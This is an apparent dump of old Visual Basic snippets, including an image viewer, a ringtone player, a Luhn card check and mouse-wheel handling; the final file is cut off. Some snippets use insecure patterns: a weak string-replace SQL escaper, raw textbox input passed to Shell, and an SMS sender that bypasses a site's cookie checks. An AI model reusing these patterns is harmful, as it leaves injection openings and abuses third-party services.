Function\n"},{"WorldId":1,"id":5604,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5606,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5607,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5625,"LineNumber":1,"line":"Option Explicit\nPublic Sub PicShow(ByVal PixPath As String, fForm As Form)\nOn Error GoTo noshow\nDim dHeight, dIHeight\nDim dWidth, dIWidth\nDim dPercent\nWith fForm\n .ViewImage.Visible = False\n .ViewImage.Stretch = False\n .Caption = App.Title & \" - \" & UCase(PixPath)\n .ViewImage.Picture = LoadPicture(PixPath)\n If .ViewImage.Height < .PicBack.Height And .ViewImage.Width < .PicBack.Width Then\n .ViewImage.Visible = True\n Exit Sub\n End If\n dHeight = .ViewImage.Height\n dWidth = .ViewImage.Width\n dIHeight = .PicBack.Height - 1\n dIWidth = .PicBack.Width - 1\n .ViewImage.Stretch = True\n .ViewImage.Height = .PicBack.Height - 2\n dPercent = (.PicBack.Height - 2) / dHeight * 100\n .ViewImage.Width = dWidth / 100 * dPercent\n If .ViewImage.Width > (.PicBack.Width - 2) Then\n .ViewImage.Stretch = False\n dHeight = .ViewImage.Height\n dWidth = .ViewImage.Width\n dIHeight = .PicBack.Height - 1\n dIWidth = .PicBack.Width - 1\n .ViewImage.Stretch = True\n .ViewImage.Width = .PicBack.Width - 1\n dPercent = (.PicBack.Width - 1) / dWidth * 100\n .ViewImage.Height = dHeight / 100 * dPercent\n End If\n .ViewImage.Visible = True\n MidPic frmMain2000\nEnd With\nExit Sub\nnoshow:\nResume noshow1\nnoshow1:\nEnd Sub\nPublic Sub MidPic(ByVal fForm As Form)\n fForm.ViewImage.Move (fForm.PicBack.Width - fForm.ViewImage.Width) / 2, (fForm.ViewImage.Height - fForm.ViewImage.Height) / 2\nEnd Sub\n'How to call the function\nCall PicShow(\"c:\\image.jpg\", frmName)"},{"WorldId":1,"id":5627,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5629,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5631,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5639,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5643,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5645,"LineNumber":1,"line":"Option Explicit\nPrivate Declare Function Beep Lib \"kernel32\" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long\nPrivate Declare Sub Sleep Lib \"kernel32\" (ByVal dwMilliseconds As Long)\nPrivate colFrequencies As Collection\nPublic Sub PlayRTTTL(ByVal RTTTL As String)\n Dim colNotes As Collection\n Dim i As Long\n \n Set colNotes = GetNotesFromRTTTL(RTTTL)\n For i = 1 To colNotes.Count\n PlayNote Trim$(Left$(colNotes(i), 5)), Val(Mid$(colNotes(i), 5))\n Next i\nEnd Sub\nPrivate Sub PlayNote(ByVal sNote As String, ByVal lDuration As Long)\n On Error GoTo PlayNote_err\n \n Dim lFrequency As Long\n \n If colFrequencies Is Nothing Then\n Set colFrequencies = New Collection\n colFrequencies.Add 32.703, \"C2\"\n colFrequencies.Add 34.648, \"C#2\"\n colFrequencies.Add 36.708, \"D2\"\n colFrequencies.Add 38.891, \"D#2\"\n colFrequencies.Add 41.203, \"E2\"\n colFrequencies.Add 43.654, \"F2\"\n colFrequencies.Add 46.249, \"F#2\"\n colFrequencies.Add 48.999, \"G2\"\n colFrequencies.Add 51.913, \"G#2\"\n colFrequencies.Add 55, \"A2\"\n colFrequencies.Add 58.27, \"A#2\"\n colFrequencies.Add 61.735, \"B2\"\n colFrequencies.Add 65.406, \"C3\"\n colFrequencies.Add 69.296, \"C#3\"\n colFrequencies.Add 73.416, \"D3\"\n colFrequencies.Add 77.782, \"D#3\"\n colFrequencies.Add 82.407, \"E3\"\n colFrequencies.Add 87.307, \"F3\"\n colFrequencies.Add 92.499, \"F#3\"\n colFrequencies.Add 97.999, \"G3\"\n colFrequencies.Add 103.826, \"G#3\"\n colFrequencies.Add 110, \"A3\"\n colFrequencies.Add 116.541, \"A#3\"\n colFrequencies.Add 123.471, \"B3\"\n colFrequencies.Add 130.813, \"C4\"\n colFrequencies.Add 138.591, \"C#4\"\n colFrequencies.Add 146.832, \"D4\"\n colFrequencies.Add 155.564, \"D#4\"\n colFrequencies.Add 164.814, \"E4\"\n colFrequencies.Add 174.614, \"F4\"\n colFrequencies.Add 184.997, \"F#4\"\n colFrequencies.Add 195.998, \"G4\"\n colFrequencies.Add 207.652, \"G#4\"\n colFrequencies.Add 220, \"A4\"\n colFrequencies.Add 233.082, \"A#4\"\n colFrequencies.Add 246.942, \"B4\"\n colFrequencies.Add 261.626, \"C5\"\n colFrequencies.Add 277.183, \"C#5\"\n colFrequencies.Add 293.665, \"D5\"\n colFrequencies.Add 311.127, \"D#5\"\n colFrequencies.Add 329.628, \"E5\"\n colFrequencies.Add 349.228, \"F5\"\n colFrequencies.Add 369.994, \"F#5\"\n colFrequencies.Add 391.995, \"G5\"\n colFrequencies.Add 415.305, \"G#5\"\n colFrequencies.Add 440, \"A5\"\n colFrequencies.Add 466.164, \"A#5\"\n colFrequencies.Add 493.883, \"B5\"\n colFrequencies.Add 523.251, \"C6\"\n colFrequencies.Add 554.365, \"C#6\"\n colFrequencies.Add 587.33, \"D6\"\n colFrequencies.Add 622.254, \"D#6\"\n colFrequencies.Add 659.255, \"E6\"\n colFrequencies.Add 698.457, \"F6\"\n colFrequencies.Add 739.989, \"F#6\"\n colFrequencies.Add 783.991, \"G6\"\n colFrequencies.Add 830.609, \"G#6\"\n colFrequencies.Add 880, \"A6\"\n colFrequencies.Add 932.328, \"A#6\"\n colFrequencies.Add 987.767, \"B6\"\n colFrequencies.Add 1046.502, \"C7\"\n colFrequencies.Add 1108.731, \"C#7\"\n colFrequencies.Add 1174.659, \"D7\"\n colFrequencies.Add 1244.508, \"D#7\"\n colFrequencies.Add 1318.51, \"E7\"\n colFrequencies.Add 1396.913, \"F7\"\n colFrequencies.Add 1479.978, \"F#7\"\n colFrequencies.Add 1567.982, \"G7\"\n colFrequencies.Add 1661.219, \"G#7\"\n colFrequencies.Add 1760, \"A7\"\n colFrequencies.Add 1864.655, \"A#7\"\n colFrequencies.Add 1975.533, \"B7\"\n colFrequencies.Add 2093.005, \"C8\"\n colFrequencies.Add 2217.461, \"C#8\"\n colFrequencies.Add 2349.318, \"D8\"\n colFrequencies.Add 2489.016, \"D#8\"\n colFrequencies.Add 2637.021, \"E8\"\n colFrequencies.Add 2793.826, \"F8\"\n colFrequencies.Add 2959.956, \"F#8\"\n colFrequencies.Add 3135.964, \"G8\"\n colFrequencies.Add 3322.438, \"G#8\"\n colFrequencies.Add 3520, \"A8\"\n colFrequencies.Add 3729.31, \"A#8\"\n colFrequencies.Add 3951.066, \"B8\"\n colFrequencies.Add 4186.009, \"C9\"\n colFrequencies.Add 4434.922, \"C#9\"\n colFrequencies.Add 4698.637, \"D9\"\n colFrequencies.Add 4978.032, \"D#9\"\n colFrequencies.Add 5274.042, \"E9\"\n colFrequencies.Add 5587.652, \"F9\"\n colFrequencies.Add 5919.912, \"F#9\"\n colFrequencies.Add 6271.928, \"G9\"\n colFrequencies.Add 6644.876, \"G#9\"\n colFrequencies.Add 7040, \"A9\"\n colFrequencies.Add 7458.62, \"A#9\"\n colFrequencies.Add 7902.133, \"B9\"\n colFrequencies.Add 8372.019, \"C10\"\n colFrequencies.Add 8869.845, \"C#10\"\n colFrequencies.Add 9397.273, \"D10\"\n colFrequencies.Add 9956.064, \"D#10\"\n colFrequencies.Add 10548.083, \"E10\"\n colFrequencies.Add 11175.305, \"F10\"\n colFrequencies.Add 11839.823, \"F#10\"\n colFrequencies.Add 12543.855, \"G10\"\n colFrequencies.Add 13289.752, \"G#10\"\n End If\n \n DoEvents\n If UCase$(Mid$(sNote, 1, 1)) = \"P\" Then 'pause\n Sleep lDuration\n Else\n lFrequency = CLng(colFrequencies(UCase$(sNote)))\n Beep lFrequency, lDuration\n End If\n \n Exit Sub\n \nPlayNote_err:\n Debug.Print Err.Number & \": \" & Err.Description\nEnd Sub\nPrivate Function GetNotesFromRTTTL(ByVal RTTTL As String) As Collection\n Dim lDefDuration As Long\n Dim lDefScale As Long\n Dim lBPM As Long\n Dim lStart As Long\n Dim sNote As String\n Dim lDuration As Long\n \n Set GetNotesFromRTTTL = New Collection\n \n 'Get default values\n lDefDuration = GetDefaultFromRTTTL(RTTTL, \"d\", 4)\n lDefScale = GetDefaultFromRTTTL(RTTTL, \"o\", 6)\n lBPM = GetDefaultFromRTTTL(RTTTL, \"b\", 63)\n \n 'Find first note\n lStart = InStr(1, RTTTL, \":\")\n If InStr(lStart + 1, RTTTL, \":\") > 0 Then\n lStart = InStr(lStart + 1, RTTTL, \":\")\n End If\n lStart = lStart + 1\n \n 'Parse notes\n Do Until lStart = 1\n sNote = GetNoteNameFromRTTTL(RTTTL, lStart, lDefScale)\n lDuration = GetNoteDurationFromRTTTL(RTTTL, lStart, lDefDuration, lBPM)\n GetNotesFromRTTTL.Add sNote & Space$(5 - Len(sNote)) & lDuration\n lStart = InStr(lStart + 1, RTTTL, \",\") + 1\n Loop\nEnd Function\nPrivate Function GetDefaultFromRTTTL(ByVal RTTTL As String, ByVal sType As String, lDefault As Long) As Long\n Dim lPos As Long\n lPos = InStr(1, RTTTL, sType & \"=\")\n If lPos > 0 Then\n Do While IsNumeric(Mid$(RTTTL, lPos + 2, 1))\n GetDefaultFromRTTTL = GetDefaultFromRTTTL * 10 + Val(Mid$(RTTTL, lPos + 2, 1))\n lPos = lPos + 1\n Loop\n Else\n GetDefaultFromRTTTL = lDefault\n End If\nEnd Function\nPrivate Function GetNoteNameFromRTTTL(ByVal RTTTL As String, ByVal lStart As Long, ByVal lDefScale As Long) As String\n Dim lPos As Long\n Dim sTemp As String\n \n lPos = InStr(lStart, RTTTL, \",\")\n If lPos > 0 Then\n sTemp = UCase$(Mid$(RTTTL, lStart, lPos - lStart))\n Else\n sTemp = UCase$(Mid$(RTTTL, lStart))\n End If\n sTemp = Trim$(sTemp)\n \n If Len(sTemp) = 0 Then\n Exit Function\n End If\n \n 'Remove duration, if any\n Do While IsNumeric(Left$(sTemp, 1))\n sTemp = Mid$(sTemp, 2)\n Loop\n \n 'Remove any dots\n sTemp = FindAndReplace(sTemp, \".\", \"\")\n \n GetNoteNameFromRTTTL = sTemp\n \n 'Add default scale if not given\n If Mid$(sTemp, 2, 1) = \"#\" Then\n If Len(sTemp) = 2 Then\n GetNoteNameFromRTTTL = sTemp & lDefScale\n End If\n Else\n If Len(sTemp) = 1 Then\n GetNoteNameFromRTTTL = sTemp & lDefScale\n End If\n End If\nEnd Function\nPrivate Function GetNoteDurationFromRTTTL(ByVal RTTTL As String, ByVal lStart As Long, ByVal lDefDuration As Long, ByVal lBPM As Long) As Long\n Dim lPos As Long\n Dim sTemp As String\n Dim lDur As Long\n \n lPos = InStr(lStart, RTTTL, \",\")\n If lPos > 0 Then\n sTemp = UCase$(Mid$(RTTTL, lStart, lPos - lStart))\n Else\n sTemp = UCase$(Mid$(RTTTL, lStart))\n End If\n \n If Len(sTemp) = 0 Then\n Exit Function\n End If\n \n 'See if any duration given for note\n lPos = 1\n If IsNumeric(Mid$(sTemp, lPos, 1)) Then\n Do While IsNumeric(Mid$(sTemp, lPos, 1))\n lDur = lDur & Mid$(sTemp, lPos, 1)\n lPos = lPos + 1\n Loop\n Else\n lDur = lDefDuration\n End If\n \n GetNoteDurationFromRTTTL = (4 * 60000) / (lBPM * lDur)\n \n 'check for a .\n If InStr(1, sTemp, \".\") > 0 Then\n GetNoteDurationFromRTTTL = GetNoteDurationFromRTTTL * 1.5\n End If\nEnd Function\nPrivate Function FindAndReplace(ByVal sOriginal As String, ByVal sFind As String, ByVal sReplace As String, Optional ByVal bCaseSensitive As Boolean = True) As String\n Dim lPos As Long\n \n FindAndReplace = sOriginal\n \n If Len(sFind) = 0 Then\n Exit Function\n End If\n \n If bCaseSensitive Then\n lPos = InStr(1, sOriginal, sFind, vbBinaryCompare)\n Else\n lPos = InStr(1, sOriginal, sFind, vbTextCompare)\n End If\n \n Do While lPos > 0\n FindAndReplace = Mid$(FindAndReplace, 1, lPos - 1) & sReplace & Mid$(FindAndReplace, lPos + Len(sFind))\n If bCaseSensitive Then\n lPos = InStr(lPos + Len(sReplace), FindAndReplace, sFind, vbBinaryCompare)\n Else\n lPos = InStr(lPos + Len(sReplace), FindAndReplace, sFind, vbTextCompare)\n End If\n Loop\nEnd Function\n"},{"WorldId":1,"id":5647,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5649,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5650,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5656,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5658,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5663,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5666,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5667,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5669,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5671,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5684,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5685,"LineNumber":1,"line":"Public Sub OpenInternet(Parent As Form, URL As String, _\n WindowStyle As T_WindowStyle)\nShellExecute Parent.hwnd, \"Open\", URL, \"\", \"\", WindowStyle\nEnd Sub \n"},{"WorldId":1,"id":5689,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5695,"LineNumber":1,"line":"Public Function SQL_Fix(ByVal sSQL as string) as string\n Dim sTempSQL as string\n 'replace apostrophes\n sTempSQL = Replace(sSQL, \"'\", \"' & Chr(39) & '\")\n 'replace pipe symbols\n SQL_Fix = Replace(sTempSQL, \"|\", \"' & Chr(124) & '\")\nEnd Function\n\n"},{"WorldId":1,"id":5696,"LineNumber":1,"line":"Function CheckCard(CCNumber As String) As Boolean\n Dim Counter As Integer, TmpInt As Integer\n Dim Answer As Integer\n Counter = 1\n TmpInt = 0\n While Counter <= Len(CCNumber)\n If (Len(CCNumber) Mod 2) Then\n TmpInt = Val(Mid$(CCNumber, Counter, 1))\n If Not (Counter Mod 2) Then\n TmpInt = TmpInt * 2\n If TmpInt > 9 Then TmpInt = TmpInt - 9\n End If\n Answer = Answer + TmpInt\n Counter = Counter + 1\n Else\n TmpInt = Val(Mid$(CCNumber, Counter, 1))\n If (Counter Mod 2) Then\n TmpInt = TmpInt * 2\n If TmpInt > 9 Then TmpInt = TmpInt - 9\n End If\n Answer = Answer + TmpInt\n Counter = Counter + 1\n End If\n Wend\n Answer = Answer Mod 10\n If Answer = 0 Then CheckCard = True\nEnd Function\n"},{"WorldId":1,"id":5697,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5699,"LineNumber":1,"line":"Ok here is how you make a Fullscreen Form:\nDo this in the properties of the form\n1) Keep Caption Blank\n2) Set ControlBox to False\n3) Set WindowState to 2 - Maximized\nThat it! No code needed!!"},{"WorldId":1,"id":5700,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5701,"LineNumber":1,"line":"Private Sub Command1_Click()\nDim x\nx = Shell(\"start.exe \" & Text1, 0)\nEnd Sub\nPrivate Sub Command2_Click()\nDim x\nx = Shell(\"start.exe mailto:\" & Text1, 0)\nEnd Sub"},{"WorldId":1,"id":5712,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5713,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5721,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5722,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5732,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5738,"LineNumber":1,"line":"Private Sub Form_Load()\n' navigate to a website, I suggest www.aol.com\nWebBrowser1.Navigate \"http://www.aol.com\"\nEnd sub\nPrivate Sub WebBrowser1_NewWindow2(ppDisp As Object, Cancel As Boolean)\n'this sets the popup window to another browser control\n'in which webbrowser2.visible = false\nSet ppDisp = WebBrowser2.Object\nEnd Sub"},{"WorldId":1,"id":5746,"LineNumber":1,"line":"'Author\n' mailto:klemens.schmid@gmx.de, http://www.schmidks.de\n'Description\n' This code fires off an SMS message to the given phone number\n' It makes use of the German service \"www.billiger-telefonieren.de\"\n' The cookie checks of the site are circumvented by doing the cookie\n' handling explicitely. Therefore this code should work even server-side!\n' Please note that the site still puts some requirement on the send\n' message. For example messages with subjects like \"test\" are rejected.\n' And: you can't send more than a certain number of messages to the\n' the same number.\n'Prerequisites\n' The posting is done thru the ServerXMLHTTP object which is contained\n' in the Microsoft XML object msxml3.dll. Install this from\n' http://msdn.microsoft.com/xml/default.asp.\nOption Explicit\nPublic Sub SendSMS()\nDim strText As String\nDim strPhoneNo As String\nDim strCookie As String\nDim oHttp As ServerXMLHTTP\n'make use of the XMLHTTPRequest object contained in msxml.dll\nSet oHttp = CreateObject(\"msxml2.serverXMLHTTP\")\n'enter your data\nstrText = InputBox(\"Text:\", \"Send Text via SMS\", \"vbsms:\")\nstrPhoneNo = InputBox(\"Phone Number:\", \"Send Text via SMS\")\n'fire of an http request to request for a cookie\noHttp.open \"GET\", \"http://www.billiger-telefonieren.de/sms/send.php3?action=accept\", False\noHttp.send\nstrCookie = oHttp.getResponseHeader(\"set-cookie\")\nstrCookie = Left$(strCookie, InStr(strCookie, \";\") - 1)\n'better check the feedback\nDebug.Print oHttp.responseText\n'do the actual send\noHttp.open \"POST\", \"http://www.billiger-telefonieren.de/sms/send.php3\", False\noHttp.setRequestHeader \"Cookie\", strCookie\n'we need to do it a second time due to KB article Q234486.\noHttp.setRequestHeader \"Cookie\", strCookie\noHttp.setRequestHeader \"Content-Type\", \"application/x-www-form-urlencoded\"\noHttp.send \"action=send&number=\" & strPhoneNo & \"&email=&message=\" & strText\nDebug.Print oHttp.responseText\nIf InStr(oHttp.responseText, \"erfolgreich eine Nachricht an die\") Then\n MsgBox \"Message has been sent successfully\", vbInformation\nElse\n MsgBox \"Service refused to send the message\", vbCritical\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":5749,"LineNumber":1,"line":"Public Function BinaryInverse(ByVal szData As String)\n Dim szRet As String\n szRet = Space$(Len(szData))\n For i = 1 To Len(szData)\n Mid(szRet, i, 1) = Chr$(255 - Asc(Mid(szData, i, 1)))\n Next i\n BinaryInverse = szRet\n \nEnd Function"},{"WorldId":1,"id":5750,"LineNumber":1,"line":"' Assume:\n' 1 - Create a new project\n' 2 - Add 3 PictureBox (Picture1, Picture2, Picture3)\n' 3 - Add a TextBox (keep name Text1)\n'\n' aver PictureBox\n' Shift Key multiplies 10 times wheel action \n' Ctrl Key drives action to horizontal scroll\n'\n' Over 'Spin'TextBox\n' Shift Key multiplies 10 times wheel action\n' Ctrl key multiplies 100 times wheel action\n\nOption Explicit\n'=================================\n' Constante de GetSystemMetrics\n'=================================\nConst SM_MOUSEWHEELPRESENT As Long = 75 ' Vrai si molette\nPrivate Declare Function GetSystemMetrics Lib \"user32\" ( _\n ByVal nIndex As Long _\n) As Long\n'=================================\n' Constantes de messages\n'=================================\nConst WM_MOUSEWHEEL As Integer = &H20A ' action sur la molette\nConst WM_MOUSEHOVER As Integer = &H2A1\nConst WM_MOUSELEAVE As Integer = &H2A3\nConst WM_KEYDOWN As Integer = &H100\nConst WM_KEYUP As Integer = &H101\nConst WM_CHAR As Integer = &H102\n'=================================\n' Constants Mask for MouseWheelKey\n'=================================\nConst MK_LBUTTON As Integer = &H1\nConst MK_RBUTTON As Integer = &H2\nConst MK_MBUTTON As Integer = &H10\nConst MK_SHIFT As Integer = &H4\nConst MK_CONTROL As Integer = &H8\n\nPrivate Type POINTAPI\n X As Long\n Y As Long\nEnd Type\nPrivate Type MSG\n hwnd As Long\n message As Long\n wParam As Long\n lParam As Long\n time As Long\n pt As POINTAPI\nEnd Type\nPrivate Declare Function GetMessage Lib \"user32\" Alias \"GetMessageA\" ( _\n lpMsg As MSG, _\n ByVal hwnd As Long, _\n ByVal wMsgFilterMin As Long, _\n ByVal wMsgFilterMax As Long _\n) As Long\nPrivate Declare Function DispatchMessage Lib \"user32\" Alias \"DispatchMessageA\" ( _\n lpMsg As MSG _\n) As Long\nPrivate Declare Function TranslateMessage Lib \"user32\" ( _\n lpMsg As MSG _\n) As Long\n'==================================================\n' Fonction used for mouse tracking (Win 98)\n'==================================================\nPrivate Declare Function TRACKMOUSEEVENT Lib \"user32\" Alias \"TrackMouseEvent\" ( _\n lpEventTrack As TRACKMOUSEEVENT _\n) As Boolean\nPrivate Type TRACKMOUSEEVENT\n cbSize As Long\n dwFlags As Long\n hwndTrack As Long\n dwHoverTime As Long\nEnd Type\n '======================================\n ' Constants for TrackMouseEvent type\n '======================================\n Const TME_HOVER As Long = &H1\n Const TME_LEAVE As Long = &H2\n Const TME_QUERY As Long = &H40000000\n Const TME_CANCEL As Long = &H80000000\n \n Const HOVER_DEFAULT As Long = &HFFFFFFFF\n\n'==================================================\n' Fonction used for mouse tracking (old school)\n'==================================================\nPrivate Declare Function GetCursorPos Lib \"user32\" ( _\n lpPoint As POINTAPI _\n) As Long\n \nPrivate Declare Function WindowFromPoint Lib \"user32\" ( _\n ByVal X As Long, _\n ByVal Y As Long _\n) As Long\n \nPrivate Declare Function GetClassName Lib \"user32\" Alias \"GetClassNameA\" ( _\n ByVal hwnd As Long, _\n ByVal lpClassName As String, _\n ByVal nMaxCount As Long _\n) As Long\n'=================================\n' Variables for wheel tracking\n'=================================\nDim m_blnWheelPresent As Boolean ' true if mouse Wheel present\nDim m_blnWheelTracking As Boolean ' true while pumping messages\nDim m_blnKeepSpinnig As Boolean ' true = mouse still active away from source\nDim m_tMSG As MSG ' messages structure\n\n'==================================\n' Constants for sample application\n'==================================\nConst m_sCurOffset As Single = 112 ' middle of cursor picture is 7 pixels away from side\nConst m_WheelForward As Long = -1 ' Wheeling 'Down' like to walk down a window = increase value\nConst m_WheelBackward As Long = 1 ' Wheeling 'Down' = decrease value\n\n'==================================\n' Variables for sample application\n'==================================\n 'picture section\n Dim m_sScaleMultiplier_H As Single\n Dim m_sScaleMax_H As Single\n Dim m_sScaleMin_H As Single\n Dim m_sScaleValue_H As Single\n \n Dim m_sScaleMultiplier_V As Single\n Dim m_sScaleMax_V As Single\n Dim m_sScaleMin_V As Single\n Dim m_sScaleValue_V As Single\n \n 'text section\n Dim m_lWalkWay As Long ' Will be set to your choice m_WheelForward or m_WheelForward in initialise proc\n Dim m_lMutiplier_Small As Long\n Dim m_lMutiplier_Large As Long\n Dim m_lSampleValue As Long\nSub WatchForWheel(hClient As Long, Optional blnWheelAround As Boolean)\nDim i As Integer\nDim lResult As Long\nDim bResult As Boolean\nDim tTrackMouse As TRACKMOUSEEVENT\nDim tMouseCords As POINTAPI\nDim lX As Long, lY As Long ' mouse coordinates\nDim lCurrentHwnd As Long '\nDim iDirection As Integer\nDim iKeys As Integer\nIf IsMissing(blnWheelAround) Then\n m_blnKeepSpinnig = False\nElse\n m_blnKeepSpinnig = blnWheelAround\nEnd If\n\nm_blnWheelTracking = True\n'With tTrackMouse\n' .cbSize = ' sizeof tTrackMouse : how to calculate that ?\n' .dwFlags = TME_LEAVE\n' .dwHoverTime = HOVER_DEFAULT\n' .hwndTrack = hClient\n'End With\n'bResult = TRACKMOUSEEVENT(tTrackMouse)\n '********************************************************\n ' Message pump:\n ' gets all messages and checks for MouseWheel event\n '********************************************************\n Do While m_blnWheelTracking\n \n lResult = GetCursorPos(tMouseCords) ' Get current mouse location\n lX = tMouseCords.X\n lY = tMouseCords.Y\n \n lCurrentHwnd = WindowFromPoint(lX, lY) ' get the window under the mouse from mouse coordinates\n \n If lCurrentHwnd <> hClient Then\n If m_blnKeepSpinnig = False Then ' Don't stop if true\n m_blnWheelTracking = False ' We are off the client window\n Exit Do ' so we stop tracking\n End If\n End If\n \n lResult = GetMessage(m_tMSG, Me.hwnd, 0, 0)\n \n lResult = TranslateMessage(m_tMSG)\n '=======================================\n ' on renvoie le message dans le circuit\n ' pour la gestion des ├⌐v├⌐nements\n '=======================================\n lResult = DispatchMessage(m_tMSG)\n DoEvents\n \n Select Case m_tMSG.message\n Case WM_MOUSEWHEEL\n '===============================================================\n ' Message is 'Wheel Rolling'\n '===============================================================\n \n Call WheelAction(hClient, m_tMSG.wParam)\n \n \n Case WM_MOUSELEAVE\n '======================================================\n ' Mouse Leave generated by TRACKMOUSEEVENT\n ' when mouse leaves client if TRACKMOUSEEVENT structure\n ' well filled (not here...)\n '======================================================\n m_blnWheelTracking = False\n \n End Select\n \n DoEvents\n Loop\n\nEnd Sub\nSub WheelAction(hClient As Long, wParam)\nDim iKey As Integer\nDim iDir As Integer\n'===============================================================\n' We get wheel direction (left half of wParams)\n' and Keys pressed while 'wheeling' (right half of wParams)\n'===============================================================\niKey = CInt(\"&H\" & (Right(Hex(wParam), 4)))\niDir = Sgn(wParam \\ 32767)\n \n'========================================================\n' Generic code to get mouse buttons and keys information\n'========================================================\n'If iKey And MK_LBUTTON Then - Left Button code -\n'If iKey And MK_RBUTTON Then - Right Button code -\n'If iKey And MK_MBUTTON Then - Middle Button code -\n'If iKey And MK_SHIFT Then - ShiftKey code -\n'If iKey And MK_CONTROL Then - ControlKey code -\nSelect Case hClient\n Case Picture1.hwnd\n '========================================================\n ' CtrlKey used to change scroll to be modified:\n ' on => Scroll_H off => Scroll_V\n '========================================================\n \n If iKey And MK_CONTROL Then\n '============================\n ' ShiftKey used as multiplier\n '============================\n If iKey And MK_SHIFT Then\n m_sScaleValue_H = m_sScaleValue_H + iDir * m_sScaleMultiplier_H\n Else\n m_sScaleValue_H = m_sScaleValue_H + iDir\n End If\n \n '============================\n ' Check limits\n '============================\n If m_sScaleValue_H <= m_sScaleMin_H Then m_sScaleValue_H = m_sScaleMin_H\n If m_sScaleValue_H >= m_sScaleMax_H Then m_sScaleValue_H = m_sScaleMax_H\n \n Picture3.Left = Picture1.Left + Picture1.Width - m_sCurOffset - m_sScaleValue_H * (Picture1.Width / m_sScaleMax_H)\n Else\n '============================\n ' CtrlKey used as multiplier\n '============================\n If iKey And MK_SHIFT Then\n m_sScaleValue_V = m_sScaleValue_V + iDir * m_sScaleMultiplier_V\n Else\n m_sScaleValue_V = m_sScaleValue_V + iDir\n End If\n \n '============================\n ' Check limits\n '============================\n If m_sScaleValue_V <= m_sScaleMin_V Then m_sScaleValue_V = m_sScaleMin_V\n If m_sScaleValue_V >= m_sScaleMax_V Then m_sScaleValue_V = m_sScaleMax_V\n \n Picture2.Top = Picture1.Top + Picture1.Height - m_sCurOffset - m_sScaleValue_V * (Picture1.Height / m_sScaleMax_V)\n End If\n \n Case Text1.hwnd\n '================================\n ' CtrlKey used as 100x multiplier\n ' ShiftKey used as 10x multiplier\n '================================\n If iKey And MK_CONTROL Then\n m_lSampleValue = m_lSampleValue + m_lWalkWay * iDir * m_lMutiplier_Large\n \n ElseIf iKey And MK_SHIFT Then\n m_lSampleValue = m_lSampleValue + m_lWalkWay * iDir * m_lMutiplier_Small\n \n Else\n m_lSampleValue = m_lSampleValue + m_lWalkWay * iDir\n \n End If\n \n Text1 = Trim(Str(m_lSampleValue))\n \n \n' Case Your_Next_Hwnd\n '\n '\n' Case Your_Last_Hwnd\n \nEnd Select\n\nEnd Sub\nSub initialize()\nDim i As Integer\n'=================================\n' Mouse section : check for wheel\n'=================================\n m_blnWheelPresent = GetSystemMetrics(SM_MOUSEWHEELPRESENT)\n\n'********************************************\n' Begin Custom section\n'\n'********************************************\n'================================================\n' Drawing cursor shapes in picture2 and picture3\n'================================================\nPicture1.Move 240, 240, 3015, 1935\nPicture1.ScaleMode = vbPixels\nPicture1.AutoRedraw = True\nFor i = 255 To 0 Step -1\n Picture1.Line ((Picture1.ScaleWidth / 255) * i, (Picture1.ScaleHeight / 255) * i)- _\n (Picture1.ScaleWidth, Picture1.ScaleHeight), _\n RGB(i, i / 2, i / 2), B\nNext i\n\nWith Picture2 ' Right cursor\n .AutoRedraw = True\n .Appearance = 0\n .BorderStyle = 0\n .BackColor = &H8000000F\n .ScaleMode = vbPixels\n .Height = 225\n .Left = Picture1.Left + Picture1.Width\n .Width = 225\nEnd With\nWith Picture3 ' Bottom cursor\n .AutoRedraw = True\n .Appearance = 0\n .BorderStyle = 0\n .BackColor = &H8000000F\n .ScaleMode = vbPixels\n .Height = 225\n .Top = Picture1.Top + Picture1.Height\n .Width = 225\nEnd With\n\nFor i = 0 To 7\n Picture2.Line (i, 7 - i)-(i, 7 + i)\n Picture3.Line (7 - i, i)-(7 + i, i)\nNext i\n\n'================================\n' Picture1 PseudoScrolls section\n'================================\n \n m_sScaleMultiplier_H = 10\n m_sScaleMax_H = 150\n m_sScaleMin_H = 0\n m_sScaleValue_H = m_sScaleMax_H / 2\n \n m_sScaleMultiplier_V = 10\n m_sScaleMax_V = 100\n m_sScaleMin_V = 0\n m_sScaleValue_V = m_sScaleMax_V / 2\n Picture2.Top = Picture1.Top + Picture1.Height - m_sCurOffset - m_sScaleValue_V * (Picture1.Height / m_sScaleMax_V)\n Picture3.Left = Picture1.Left + Picture1.Width - m_sCurOffset - m_sScaleValue_H * (Picture1.Width / m_sScaleMax_H)\n'=========================\n' Text1 section\n'=========================\n m_lWalkWay = m_WheelForward\n m_lMutiplier_Small = 10\n m_lMutiplier_Large = 100\n m_lSampleValue = 100\n \n Text1.Move 3720, 240\n Text1 = Trim(Str(m_lSampleValue))\n\n'=========================\n' ToolTipText section\n'=========================\nPicture1.ToolTipText = \"Ctrl = Scroll Horizontal Shift = 10x speed \"\nText1.ToolTipText = \"Click to enable Ctrl = 100x Shift = 10x Return to validate Keyboad value entry\"\nEnd 